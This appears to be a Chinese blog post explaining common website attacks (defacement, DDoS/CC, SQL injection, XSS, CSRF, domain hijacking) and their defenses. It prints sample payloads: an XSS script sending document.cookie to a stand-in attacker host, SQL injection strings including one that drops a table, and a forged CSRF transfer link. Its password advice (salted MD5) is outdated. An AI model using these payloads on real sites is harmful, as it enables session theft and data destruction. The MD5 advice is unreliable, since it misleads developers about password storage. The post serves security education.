几种常见的网站攻击方式及对应防御方法

第一种:网页篡改

攻击描述:针对网站程序漏洞,植入木马(webshell、跨站脚本攻击),篡改网页,添加黑链或者嵌入非本站信息,甚至是创建大量目录网页,以博彩攻击织梦CMS最常见。

危害说明:网站信息被篡改,本站访客不信任,搜索引擎(百度为例)和安全平台(安全联盟为例)检测到你的网站被挂马,会在搜索结果提示安全风险,搜索引擎和浏览器都会拦截访问。

处理方法:

1、程序设置:更换程序、更新补丁、修补漏洞、设置权限、经常备份

2、漏洞查杀:360网站检测、360主机卫士

3、申诉平台:安全联盟

第二种:流量攻击

攻击描述:CC攻击:借助代理服务器模拟多个用户不停的对网站进行访问请求,DDOS攻击:控制多台电脑向网站发送访问请求,以CC攻击最为普遍,采用大量数据包淹没一个或多个路由器、服务器和防火墙。

危害说明:CC攻击会使服务器CPU达到峰值100%,网站瘫痪无法正常打开,IIS停止服务,出现503状态无法自动恢复;百度蜘蛛无法抓取网站,清空索引及排名,流量下滑(我这次就是因为春节期间4天没处理就被百度清空了,好在申诉恢复了,百度因为360的竞争现在相当勤奋)。

处理方式:

1、选择大型安全有防火墙的主机服务商:阿里云、西部数码、新网互联

2、网站监控:360网站监控(不推荐百度云观测,慢5分钟提示短信不明)

3、CDN防护:加速乐、云盾(不推荐百度云加速,1000次CC攻击便会崩溃,360网站卫士因审核较严未通过不评价)

4、服务器:服务器安全狗(未专业慎装,网站会变慢)、网站安全狗、金山毒霸企业版

5、申诉:百度站长平台

第三种:数据库攻击

攻击描述:SQL注入:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

危害说明:数据库入侵,用户信息泄露,数据表被篡改,植入后门,数据库被篡改比网页文件被篡改危害大得多,因为网页都是通过数据库生成的。

处理方式:

1、在各种信息提交框处加验证

2、数据库防火墙

3、参见第二种处理方式

第四种:恶意扫描

攻击描述:黑客为了攻击网站通过工具自动扫描漏洞。

危害说明:发现漏洞,进而攻击。

处理方式:

1、关闭闲置端口,修改默认端口

2、参见第二种处理方式

第五种:域名攻击

域名被盗:域名所有权被转移,域名注册商被转移;

DNS域名劫持:伪造DNS服务器,指引用户指向错误的一个域名地址,

域名泛解析:域名被泛解析很多二级域名网站指向黑客网站,中国政府域名和较大流量个人站很受博彩欢迎。

危害说明:失去域名控制权,域名会被绑定解析到黑客网站,被泛解析权重会分散,引起搜索引擎、安全平台不信任从而降权标黑。

处理方式:

1、选择大型知名域名注册商,填写真实信息,锁定域名禁止转移:西部数码、新网互联、GoDaddy,并不推荐中国万网和谐不实用

2、保证域名注册邮箱安全

3、选择大型稳定域名解析商:DNSPod,锁定解析

4、申诉平台:百度站长平台

下面来说说案例:

XSS

概念

全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。

案列

比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

被攻击的原因

用户输入的数据变成了代码,比如说上面的<script>,应该只是字符串却有了代码的作用。

预防

将输入的数据进行转义处理,比如说讲 < 转义成&lt;


SQL注入

概念

通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击

案例

' or '1'= '1。这是最常见的sql注入攻击,当我们输如用户名 jiajun ,然后密码输如'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这个时候1=1是成立,自然就跳过验证了。

但是如果再严重一点,密码输如的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了

被攻击的原因

sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击

预防

在java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。

很多orm框架已经可以对参数进行转义

做最坏的打算,即使被’拖库‘(‘脱裤,数据库泄露’)。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。


CSRF

概念

全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。

案列

这个例子可能现实中不会存在,但是攻击的方式是一样的。比如说我登录了A银行网站,然后我又访问了室友给的一个流氓网站,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000,那么这个时候很可能我就向账号为666的人转了1w软妹币

注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接,比如说一个

被攻击的原因

用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求

预防

之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。

通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。


DDOS

概念

分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

案例

SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。

CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。

被攻击的原因

服务器带宽不足,不能挡住攻击者的攻击流量

预防

最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。

云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源

未经允许不得转载:杨永博客 » 几种常见的网站攻击方式及对应防御方法

赞 (1)

评论 1

  • 昵称 (必填)
  • 邮箱(必填)
  • 网址(选填)
  1. 中国律师库财神进家门,好运进家门,有许多人会在新年时,祈求新的一年能赚大钱 中国律师库http://www.lawyerku.cn/baidu.xml回复